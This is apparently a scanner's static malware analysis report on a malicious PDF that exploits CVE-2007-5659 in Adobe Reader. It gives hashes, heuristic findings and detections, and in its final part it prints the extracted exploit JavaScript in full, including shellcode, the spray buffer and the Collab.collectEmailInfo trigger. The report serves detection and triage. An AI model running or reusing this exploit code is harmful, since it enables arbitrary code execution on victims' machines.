Malicious PDF — malware analysis report

Static analysis result for SHA-256 fa551b6c7f70e4e3…

MALICIOUS

PDF

67.8 KB Created: 2008-02-27 16:58:09 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 6.0.1 (Windows)) First seen: 2026-05-16
MD5: 9a4c1695583b63a66f252d22860e57f7 SHA-1: 6232bd4b57592a326328954f48c6714960710fa6 SHA-256: fa551b6c7f70e4e3117ef2ef8a4ed67110c4ba5b721b3fe767a1c5e689c4959e
426 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and triggers a critical vulnerability (CVE-2007-5659) related to Collab.collectEmailInfo. This suggests the primary intent is to exploit this vulnerability to execute arbitrary code. The ML classifier also strongly indicates maliciousness. The embedded JavaScript, likely obfuscated, is expected to download and execute a second-stage payload, consistent with a dropper's behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9997

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Win.Trojan.Dropper-82 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Dropper-82
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
taa pdf-embedded-file-undecodable PDF EmbeddedFile object 20 at offset 0xF00; filter decode failed 56211 bytes
SHA-256: 0ccb1c2432d667a51bbda9f5f0b2fe11c1c093a7d4068a803b749953e81697c0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x6A2 4622 bytes
SHA-256: a855e1484b6aa802ce0f6f936ba6d5b5bb5556ec34d1f510cb7f17c768fa4311
Detection
ClamAV: Win.Trojan.Dropper-82
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) 
{
var v = "";
while (--count >= 0) 
v += what;
return v;
} 
function start() 
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7466%u515a%u7043%u7050%u7070%u5050%u6B68%u5064%u4C50%u4B68%u5077%u6C71%u4D5a%u6B58%u5047%u4850%u794e%u4453%u6250%u5070%u5050%u7875%u5168%u4C4e%u5050%u6270%u5050%u5050%u4B68%u6C4f%u4978%u5747%u7850%u4978%u7744%u5061%u6F6f%u5757%u7850%u4866%u6C4e%u7759%u4350%u6C70%u584e%u644c%u6150%u7050%u7070%u4948%u4754%u4C61%u4F4f%u5747%u7870%u4866%u764f%u5262%u594b%u4C67%u584e%u446b%u7150%u7050%u7050%u6948%u7774%u7052%u4F6f%u7777%u6870%u7876%u457a%u7761%u5050%u6C67%u684e%u544a%u7170%u7050%u7070%u7958%u7764%u7472%u4F4f%u4767%u5870%u5866%u4B6f%u6779%u6D4f%u6F50%u584e%u5449%u6150%u7050%u7070%u5958%u4764%u5852%u4F4f%u4767%u6850%u4856%u6651%u6576%u7A4f%u7041%u786e%u6458%u4150%u5070%u7070%u4978%u6764%u4C62%u6F6f%u6767%u7850%u5866%u4F41%u6967%u5A70%u684e%u686e%u7467%u5150%u7050%u5050%u4948%u5774%u5063%u4F6f%u7767%u6850%u7856%u5572%u706b%u4F4f%u726c%u484e%u6446%u5170%u5050%u5070%u7968%u5754%u7463%u6F4f%u6777%u5870%u4856%u6C5a%u4850%u7A4d%u5667%u784e%u7455%u4170%u7070%u5050%u4948%u7744%u7853%u6F4f%u4747%u7850%u4866%u4849%u4E6f%u4A58%u4E70%u586e%u4474%u6170%u5050%u5050%u5978%u5744%u4C73%u4F4f%u4757%u7850%u4846%u5467%u4968%u6C6e%u6959%u584e%u6463%u4170%u5050%u5070%u7958%u4754%u7054%u4F4f%u7777%u7850%u4846%u6E47%u784d%u524e%u5377%u786e%u4452%u4170%u7070%u7070%u5958%u5764%u4464%u6F6f%u5757%u6850%u7856%u4D5a%u6B49%u4D77%u4F4d%u784e%u7441%u7170%u7050%u7050%u7978%u6744%u6864%u6F4f%u5777%u5061%u6F6f%u6775%u6473%u6363%u766f%u4664%u6D78%u6764%u5046%u7045%u7645%u4F6f%u5755%u4854%u7358%u584f%u4F6f%u4447%u726f%u4D73%u7070%u5041%u7070%u7050%u4667%u4B4e%u7978%u4774%u7450%u4978%u5747%u5046%u6F6f%u5757%u4470%u7A46%u7054%u6F4f%u6765%u4C51%u7948%u5744%u6C45%u5A76%u5070%u6A46%u5070%u4A56%u7070%u6F6f%u5747%u7066%u6F4f%u7775%u4873%u4348%u584f%u6F4f%u4447%u6B54%u6A46%u7070%u6D78%u6F45%u5057%u5375%u4F4f%u4757%u6470%u4F6f%u5777%u6C65%u6F4f%u7747%u5056%u4F6f%u4745%u4C62%u4B68%u4F74%u5067%u7378%u696e%u7041%u4B48%u5744%u4C45%u5074%u4148%u4873%u4664%u4E62%u7A55%u4876%u7567%u4950%u5148%u5847%u6470%u6352%u7650%u7148%u6951%u5477%u5450%u526e%u6C4e%u6B6e%u4A41%u7378%u506c%u4850%u5948%u7744%u6451%u7064%u4148%u4853%u6A74%u5567%u5356%u6B64%u5557%u4970%u7178%u7847%u6470%u6241%u4150%u5348%u6961%u4447%u6E50%u624e%u4C4e%u4F6f%u5777%u6C45%u4F4f%u7745%u7052%u6F70%u5548%u4267%u6F6f%u4F4f%u6F4f%u6378%u706c%u7850%u7978%u6744%u5871%u4A76%u7070%u7866%u5068%u7050%u7070%u5070%u5A66%u6270%u5A76%u7070%u4A46%u5050%u7856%u7070%u5050%u7070%u7064%u4F4f%u4777%u5071%u6F6f%u4765%u7462%u4978%u7774%u7476%u776c%u6754%u4C46%u6D54%u7A65%u7049%u5050%u6A56%u5070%u4D78%u6F55%u7047%u5355%u7A66%u6450%u4D48%u6F65%u4C76%u6375%u6F6f%u5767%u4466%u6F4f%u6765%u7063%u4B68%u7774%u5851%u6B42%u5754%u5461%u7368%u586e%u5850%u6B78%u4F55%u7471%u7043%u5370%u6374%u7844%u5368%u786f%u5050%u6557%u474f%u5A46%u7050%u4D58%u4F65%u5067%u6375%u4B58%u4F65%u4841%u6B52%u4F65%u4441%u6358%u4B4e%u6870%u6375%u4F6f%u4757%u6441%u4F6f%u5767%u7456%u4F4f%u5745%u7073%u6F4f%u4747%u5446%u6F4f%u4765%u6862%u5A56%u7050%u6F4f%u5767%u5071%u4F6f%u6755%u6C63%u7A56%u5050%u4F4f%u4745%u4454%u7575%u6B68%u4C6e%u4745%u4B78%u4D77%u6870%u4B78%u6D75%u4C70%u6645%u4B68%u5357%u6C53%u6B48%u5457%u4E71%u7857%u4350%u736f%u6675%u4B58%u4677%u5042%u7350%u734f%u6343%u696c%u6974%u4174%u6D7a%u4370%u636c%u4675%u7373%u564f%u4F70%u6E4b%u7071%u5A73%u626f%u7467%u5850%u414c%u4E4c%u6D50%u4350%u524f%u5044%u6B4e%u514f%u4B53%u4E6f%u4E45%u5567%u454e%u4A75%u6B58%u4B6e%u6B58%u6A75%u6442%u7370%u4D6d%u7656%u4B48%u6C70%u6B74%u4B58%u4A45%u6C51%u6370%u4D4d%u6B78%u6470%u4B58%u6350%u754c%u6E45%u4F55%u6D65%u626c%u7850%u7050%u486e%u476c%u6D6f%u4F4f%u6F6f%u4346%u4A73%u6C55%u5176%u4E52%u5556%u5857%u7576%u7050" +
"%u3030");

if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",1200);

Open this report in the interactive analyzer, or submit your own file for analysis.